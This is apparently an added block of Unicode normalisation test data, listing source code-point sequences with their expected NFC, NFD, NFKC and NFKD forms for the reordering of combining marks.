+{ source: [0x0061, 0xA8E1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E2, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E2, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E3, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E3, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E4, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E4, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E5, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E5, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E6, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E6, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E7, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E7, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E8, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E8, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E9, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E9, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EA, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EA, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EB, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EB, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EC, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8ED, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8ED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8ED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8ED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8ED, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8ED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8ED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8ED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8ED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8ED, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EE, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EE, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EF, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EF, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8F0, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8F0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8F0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8F0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8F0, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8F0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8F0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8F0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8F0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8F0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8F1, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8F1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8F1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8F1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8F1, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8F1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8F1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8F1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8F1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8F1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0xA92B, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0xA92B, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0xA92B, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0xA92B, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0xA92B, 0x059A, 0x0062] },
+{ source: [0x0061, 0xA92B, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0xA92B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0xA92B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0xA92B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0xA92B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0xA92C, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0xA92C, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0xA92C, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0xA92C, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0xA92C, 0x059A, 0x0062] },
+{ source: [0x0061, 0xA92C, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0xA92C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0xA92C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0xA92C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0xA92C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0xA92D, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0xA92D, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0xA92D, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0xA92D, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0xA92D, 0x059A, 0x0062] },
+{ source: [0x0061, 0xA92D, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0xA92D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0xA92D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0xA92D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0xA92D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA953, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA953, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA953, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA953, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA953, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xA953, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA953, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA953, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA953, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA953, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0xA9B3, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0xA9B3, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0xA9B3, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0xA9B3, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0xA9B3, 0x3099, 0x0062] },
+{ source: [0x0061, 0xA9B3, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0xA9B3, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0xA9B3, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0xA9B3, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0xA9B3, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA9C0, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA9C0, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA9C0, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA9C0, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA9C0, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xA9C0, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA9C0, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA9C0, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA9C0, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA9C0, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB0, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB0, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB2, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB2, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB3, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB3, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0xAAB4, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0xAAB4, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0xAAB4, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0xAAB4, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0xAAB4, 0x059A, 0x0062] },
+{ source: [0x0061, 0xAAB4, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0xAAB4, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0xAAB4, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0xAAB4, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0xAAB4, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB7, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB7, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB8, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB8, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAABE, 0x0062], NFC: [0x00E0, 0x05AE, 0xAABE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAABE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAABE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAABE, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAABE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAABE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAABE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAABE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAABE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAABF, 0x0062], NFC: [0x00E0, 0x05AE, 0xAABF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAABF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAABF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAABF, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAABF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAABF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAABF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAABF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAABF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAC1, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAC1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAC1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAC1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAC1, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAC1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAC1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAC1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAC1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAC1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xAAF6, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xAAF6, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xAAF6, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xAAF6, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xAAF6, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xAAF6, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xAAF6, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xAAF6, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xAAF6, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xAAF6, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xABED, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xABED, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xABED, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xABED, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xABED, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xABED, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xABED, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xABED, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xABED, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xABED, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x064B, 0xFB1E, 0x05C2, 0xFB1E, 0x0062], NFC: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFD: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFKC: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFKD: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062] },
+{ source: [0x0061, 0xFB1E, 0x064B, 0xFB1E, 0x05C2, 0x0062], NFC: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFD: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFKC: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062], NFKD: [0x0061, 0x05C2, 0xFB1E, 0xFB1E, 0x064B, 0x0062] },
